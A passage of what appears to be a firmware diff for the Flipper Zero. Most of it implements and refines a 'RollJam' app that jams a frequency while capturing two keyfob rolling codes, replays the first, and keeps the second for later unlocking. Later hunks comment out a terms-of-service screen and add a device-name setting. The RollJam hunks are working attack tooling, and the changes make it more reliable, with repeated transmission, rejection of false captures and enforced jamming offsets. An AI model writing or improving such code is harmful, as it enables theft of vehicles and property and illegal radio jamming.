return level_duration_make(level, dur);
|
||||
}
|
||||
|
||||
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
FURI_LOG_E(TAG, "TX: no valid signal");
|
||||
return;
|
||||
}
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
|
||||
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
|
||||
|
||||
furi_hal_subghz_reset();
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
const uint8_t* tx_preset;
|
||||
const uint8_t* tx_src;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238:
|
||||
tx_preset = preset_fsk_tx_238;
|
||||
break;
|
||||
case ModIndex_FM476:
|
||||
tx_preset = preset_fsk_tx_476;
|
||||
break;
|
||||
default:
|
||||
tx_preset = preset_ook_tx;
|
||||
break;
|
||||
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
|
||||
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
|
||||
default: tx_src = preset_ook_tx; break;
|
||||
}
|
||||
furi_hal_subghz_load_custom_preset(tx_preset);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
furi_hal_subghz_load_custom_preset(tx_src);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
// Transmit 3 times — improves reliability especially at range
|
||||
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.index = 0;
|
||||
|
||||
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
|
||||
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
furi_hal_subghz_stop_async_tx();
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
|
||||
|
||||
// Small gap between repeats
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
|
||||
tx_repeat, (int)g_tx.index, (int)signal->size);
|
||||
if(tx_repeat < 2) furi_delay_ms(50);
|
||||
}
|
||||
|
||||
furi_hal_subghz_idle();
|
||||
FURI_LOG_I(TAG, "TX: all repeats done");
|
||||
}
|
||||
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
|
||||
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Version: 1\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
const char* pname;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
|
||||
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
}
|
||||
|
||||
furi_string_printf(line, "Preset: %s\n", pname);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Protocol: RAW\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
furi_string_set(line, "RAW_Data:");
|
||||
size_t end = i + 512;
|
||||
if(end > signal->size) end = signal->size;
|
||||
for(; i < end; i++) {
|
||||
for(; i < end; i++)
|
||||
furi_string_cat_printf(line, " %d", signal->data[i]);
|
||||
}
|
||||
furi_string_cat(line, "\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
}
|
||||
|
||||
furi_string_free(line);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Save failed!");
|
||||
}
|
||||
|
||||
@@ -15,20 +15,11 @@
|
||||
* This matches the Flipper .sub RAW format.
|
||||
*/
|
||||
|
||||
// Start raw capture on internal CC1101
|
||||
void rolljam_capture_start(RollJamApp* app);
|
||||
|
||||
// Stop capture
|
||||
void rolljam_capture_stop(RollJamApp* app);
|
||||
|
||||
// Check if captured signal looks valid (not just noise)
|
||||
bool rolljam_signal_is_valid(RawSignal* signal);
|
||||
|
||||
// Clean up captured signal: merge short pulses, quantize, trim noise
|
||||
void rolljam_signal_cleanup(RawSignal* signal);
|
||||
|
||||
// Transmit a raw signal via internal CC1101
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
|
||||
|
||||
// Save signal to .sub file on SD card
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
|
||||
|
||||
@@ -180,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
|
||||
// ============================================================
|
||||
|
||||
static void rolljam_app_free(RollJamApp* app) {
|
||||
// Safety: stop everything
|
||||
if(app->jamming_active) {
|
||||
rolljam_jammer_stop(app);
|
||||
}
|
||||
@@ -188,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
|
||||
rolljam_capture_stop(app);
|
||||
}
|
||||
|
||||
// Remove views
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
|
||||
@@ -201,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
|
||||
popup_free(app->popup);
|
||||
|
||||
// Core
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
// Services
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
@@ -18,7 +18,6 @@
|
||||
|
||||
#define TAG "RollJam"
|
||||
|
||||
// Max raw signal buffer
|
||||
#define RAW_SIGNAL_MAX_SIZE 4096
|
||||
|
||||
// ============================================================
|
||||
@@ -127,20 +126,17 @@ typedef struct {
|
||||
// Main app struct
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
// Core
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
NotificationApp* notification;
|
||||
Storage* storage;
|
||||
|
||||
// Views / modules
|
||||
VariableItemList* var_item_list;
|
||||
Widget* widget;
|
||||
DialogEx* dialog_ex;
|
||||
Popup* popup;
|
||||
|
||||
// Settings
|
||||
FreqIndex freq_index;
|
||||
ModIndex mod_index;
|
||||
JamOffIndex jam_offset_index;
|
||||
@@ -149,16 +145,14 @@ typedef struct {
|
||||
uint32_t jam_frequency;
|
||||
uint32_t jam_offset_hz;
|
||||
|
||||
// Captured signals
|
||||
RawSignal signal_first;
|
||||
RawSignal signal_second;
|
||||
|
||||
// Jamming state
|
||||
bool jamming_active;
|
||||
FuriThread* jam_thread;
|
||||
volatile bool jam_thread_running;
|
||||
|
||||
// Capture state
|
||||
volatile bool raw_capture_active;
|
||||
|
||||
|
||||
} RollJamApp;
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
static void phase1_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_first.size > 0 &&
|
||||
if(app->signal_first.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_first)) {
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FontSecondary, "Starting...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
rolljam_jammer_start(app);
|
||||
furi_delay_ms(300);
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
if(app->jamming_active) {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
|
||||
} else {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "No ext jammer");
|
||||
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
|
||||
}
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Listening for keyfob");
|
||||
@@ -38,16 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// Configure hardware type
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
// Start jamming
|
||||
rolljam_jammer_start(app);
|
||||
|
||||
// Start capture
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_blue_100);
|
||||
@@ -67,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
app->signal_first.size);
|
||||
|
||||
// Stop capture cleanly
|
||||
rolljam_capture_stop(app);
|
||||
// Jamming stays active!
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase2);
|
||||
if(!rolljam_signal_is_valid(&app->signal_first)) {
|
||||
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
(int)app->signal_first.size);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled by user");
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
static void phase2_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_second.size > 0 &&
|
||||
if(app->signal_second.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_second)) {
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// CRITICAL: completely clear second signal
|
||||
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
|
||||
// Stop previous capture if any
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
// Small delay to let radio settle
|
||||
furi_delay_ms(50);
|
||||
|
||||
// Start fresh capture for second signal
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_yellow_100);
|
||||
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase3);
|
||||
if(!rolljam_signal_is_valid(&app->signal_second)) {
|
||||
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
(int)app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled by user");
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
|
||||
@@ -10,7 +10,6 @@
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
// UI
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// LED: green
|
||||
notification_message(app->notification, &sequence_blink_green_100);
|
||||
|
||||
// 1) Stop the jammer
|
||||
rolljam_jammer_stop(app);
|
||||
|
||||
// Wait for jammer thread to fully stop and radio to settle
|
||||
furi_delay_ms(1000);
|
||||
|
||||
// 2) Transmit first captured signal via internal CC1101
|
||||
rolljam_transmit_signal(app, &app->signal_first);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
// Brief display then advance
|
||||
furi_delay_ms(800);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
|
||||
@@ -4,43 +4,68 @@
|
||||
// Menu scene: select frequency, modulation, start attack
|
||||
// ============================================================
|
||||
|
||||
static uint8_t get_min_offset_index(uint8_t mod_index) {
|
||||
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
|
||||
return JamOffIndex_300k;
|
||||
}
|
||||
|
||||
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(app->jam_offset_index < min_idx) {
|
||||
app->jam_offset_index = min_idx;
|
||||
app->jam_offset_hz = jam_offset_values[min_idx];
|
||||
if(offset_item) {
|
||||
variable_item_set_current_value_index(offset_item, min_idx);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
|
||||
}
|
||||
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
|
||||
jam_offset_names[min_idx]);
|
||||
}
|
||||
}
|
||||
|
||||
static VariableItem* s_offset_item = NULL;
|
||||
|
||||
static void menu_freq_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->freq_index = index;
|
||||
app->frequency = freq_values[index];
|
||||
app->frequency = freq_values[index];
|
||||
variable_item_set_current_value_text(item, freq_names[index]);
|
||||
}
|
||||
|
||||
static void menu_mod_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->mod_index = index;
|
||||
variable_item_set_current_value_text(item, mod_names[index]);
|
||||
|
||||
enforce_min_offset(app, s_offset_item);
|
||||
}
|
||||
|
||||
static void menu_jam_offset_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(index < min_idx) {
|
||||
index = min_idx;
|
||||
variable_item_set_current_value_index(item, index);
|
||||
}
|
||||
|
||||
app->jam_offset_index = index;
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
variable_item_set_current_value_text(item, jam_offset_names[index]);
|
||||
}
|
||||
|
||||
static void menu_hw_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->hw_index = index;
|
||||
variable_item_set_current_value_text(item, hw_names[index]);
|
||||
}
|
||||
|
||||
static void menu_enter_callback(void* context, uint32_t index) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(index == 4) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventStartAttack);
|
||||
@@ -72,12 +97,17 @@ void rolljam_scene_menu_on_enter(void* context) {
|
||||
variable_item_set_current_value_index(mod_item, app->mod_index);
|
||||
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
|
||||
|
||||
// --- Jam Offset ---
|
||||
VariableItem* offset_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Jam Offset",
|
||||
JamOffIndex_COUNT,
|
||||
menu_jam_offset_changed,
|
||||
app);
|
||||
|
||||
s_offset_item = offset_item;
|
||||
enforce_min_offset(app, offset_item);
|
||||
|
||||
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
|
||||
|
||||
@@ -111,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventStartAttack) {
|
||||
// Clear previous captures
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
enforce_min_offset(app, NULL);
|
||||
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
memset(&app->signal_second, 0, sizeof(RawSignal));
|
||||
|
||||
scene_manager_next_scene(
|
||||
@@ -125,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
void rolljam_scene_menu_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
s_offset_item = NULL;
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSaveSignal) {
|
||||
// Save to .sub file
|
||||
|
||||
rolljam_save_signal(app, &app->signal_second);
|
||||
|
||||
popup_reset(app->popup);
|
||||
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
return true;
|
||||
|
||||
} else if(event.event == RollJamEventReplayNow) {
|
||||
// Show sending screen
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Transmitting...",
|
||||
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
// Transmit second signal
|
||||
rolljam_transmit_signal(app, &app->signal_second);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
@@ -155,6 +155,22 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
|
||||
true);
|
||||
|
||||
if(can_be_sent) {
|
||||
if(event->type == InputTypeLong) {
|
||||
if(event->key == InputKeyUp) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyDown) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyLeft) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
} else if(event->key == InputKeyRight) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
|
||||
subghz_custom_btn_set_long(true);
|
||||
}
|
||||
}
|
||||
|
||||
if(event->key == InputKeyOk && event->type == InputTypePress) {
|
||||
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
|
||||
with_view_model(
|
||||
|
||||
@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->pin_input_view = desktop_view_pin_input_alloc();
|
||||
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
|
||||
desktop->slideshow_view = desktop_view_slideshow_alloc();
|
||||
//desktop->tos_view = desktop_view_tos_alloc();
|
||||
|
||||
desktop->main_view_stack = view_stack_alloc();
|
||||
desktop->main_view = desktop_main_alloc();
|
||||
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
|
||||
desktop->view_dispatcher,
|
||||
DesktopViewIdSlideshow,
|
||||
desktop_view_slideshow_get_view(desktop->slideshow_view));
|
||||
//view_dispatcher_add_view(
|
||||
//desktop->view_dispatcher,
|
||||
//DesktopViewIdTos,
|
||||
//desktop_view_tos_get_view(desktop->tos_view));
|
||||
|
||||
// Lock icon
|
||||
desktop->lock_icon_viewport = view_port_alloc();
|
||||
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
|
||||
|
||||
if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
|
||||
}
|
||||
} //else {
|
||||
//scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
//}
|
||||
|
||||
if(!furi_hal_version_do_i_belong_here()) {
|
||||
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);
|
||||
|
||||
@@ -11,6 +11,8 @@
|
||||
#include "views/desktop_view_lock_menu.h"
|
||||
#include "views/desktop_view_debug.h"
|
||||
#include "views/desktop_view_slideshow.h"
|
||||
//#include "views/desktop_view_tos.h"
|
||||
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_stack.h>
|
||||
|
||||
@@ -30,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
|
||||
switch(event.event) {
|
||||
case DesktopSlideshowCompleted:
|
||||
scene_manager_previous_scene(desktop->scene_manager);
|
||||
//scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
|
||||
consumed = true;
|
||||
break;
|
||||
case DesktopSlideshowPoweroff:
|
||||
|
||||
@@ -3,7 +3,7 @@ App(
|
||||
name="System",
|
||||
apptype=FlipperAppType.SETTINGS,
|
||||
entry_point="system_settings_app",
|
||||
requires=["gui", "locale"],
|
||||
stack_size=1 * 1024,
|
||||
requires=["gui", "locale", "storage"],
|
||||
stack_size=2 * 1024,
|
||||
order=30,
|
||||
)
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
#include <loader/loader.h>
|
||||
#include <lib/toolbox/value_index.h>
|
||||
#include <locale/locale.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
#include <power/power_service/power.h>
|
||||
#include <applications/services/namechanger/namechanger.h>
|
||||
|
||||
const char* const log_level_text[] = {
|
||||
"Default",
|
||||
@@ -208,6 +211,81 @@ static void filename_scheme_changed(VariableItem* item) {
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Device Name --------------------------------------------------------
|
||||
|
||||
#define DEVICE_NAME_ITEM_INDEX 11
|
||||
|
||||
static bool system_settings_device_name_validator(
|
||||
const char* text,
|
||||
FuriString* error,
|
||||
void* context) {
|
||||
UNUSED(context);
|
||||
for(; *text; ++text) {
|
||||
const char c = *text;
|
||||
if((c < '0' || c > '9') && (c < 'A' || c > 'Z') && (c < 'a' || c > 'z')) {
|
||||
furi_string_printf(error, "Letters and\nnumbers only!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void system_settings_device_name_callback(void* context) {
|
||||
SystemSettings* app = context;
|
||||
|
||||
// Save name to SD card (same path as namechanger service)
|
||||
FlipperFormat* file = flipper_format_file_alloc(app->storage);
|
||||
bool saved = false;
|
||||
do {
|
||||
if(app->device_name[0] == '\0') {
|
||||
// Empty name -> remove file to restore real name
|
||||
storage_simply_remove(app->storage, NAMECHANGER_PATH);
|
||||
saved = true;
|
||||
break;
|
||||
}
|
||||
if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break;
|
||||
if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, NAMECHANGER_VERSION)) break;
|
||||
if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break;
|
||||
saved = true;
|
||||
} while(false);
|
||||
flipper_format_free(file);
|
||||
|
||||
if(saved) {
|
||||
// Reboot to apply
|
||||
Power* power = furi_record_open(RECORD_POWER);
|
||||
power_reboot(power, PowerBootModeNormal);
|
||||
} else {
|
||||
// Go back silently on failure
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
}
|
||||
}
|
||||
|
||||
static void system_settings_enter_callback(void* context, uint32_t index) {
|
||||
SystemSettings* app = context;
|
||||
if(index == DEVICE_NAME_ITEM_INDEX) {
|
||||
text_input_reset(app->text_input);
|
||||
text_input_set_header_text(app->text_input, "Device Name (empty=reset)");
|
||||
text_input_set_validator(
|
||||
app->text_input, system_settings_device_name_validator, NULL);
|
||||
text_input_set_minimum_length(app->text_input, 0);
|
||||
text_input_set_result_callback(
|
||||
app->text_input,
|
||||
system_settings_device_name_callback,
|
||||
app,
|
||||
app->device_name,
|
||||
FURI_HAL_VERSION_ARRAY_NAME_LENGTH,
|
||||
false);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewTextInput);
|
||||
}
|
||||
}
|
||||
|
||||
static uint32_t system_settings_text_input_back(void* context) {
|
||||
UNUSED(context);
|
||||
return SystemSettingsViewVarItemList;
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
static uint32_t system_settings_exit(void* context) {
|
||||
UNUSED(context);
|
||||
return VIEW_NONE;
|
||||
@@ -218,6 +296,7 @@ SystemSettings* system_settings_alloc(void) {
|
||||
|
||||
// Load settings
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->storage = furi_record_open(RECORD_STORAGE);
|
||||
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
@@ -314,6 +393,19 @@ SystemSettings* system_settings_alloc(void) {
|
||||
variable_item_set_current_value_index(item, value_index);
|
||||
variable_item_set_current_value_text(item, filename_scheme[value_index]);
|
||||
|
||||
// Device Name (index = DEVICE_NAME_ITEM_INDEX = 11)
|
||||
const char* current_name = furi_hal_version_get_name_ptr();
|
||||
strlcpy(
|
||||
app->device_name,
|
||||
current_name ? current_name : "",
|
||||
FURI_HAL_VERSION_ARRAY_NAME_LENGTH);
|
||||
item = variable_item_list_add(app->var_item_list, "Device Name", 0, NULL, app);
|
||||
variable_item_set_current_value_text(
|
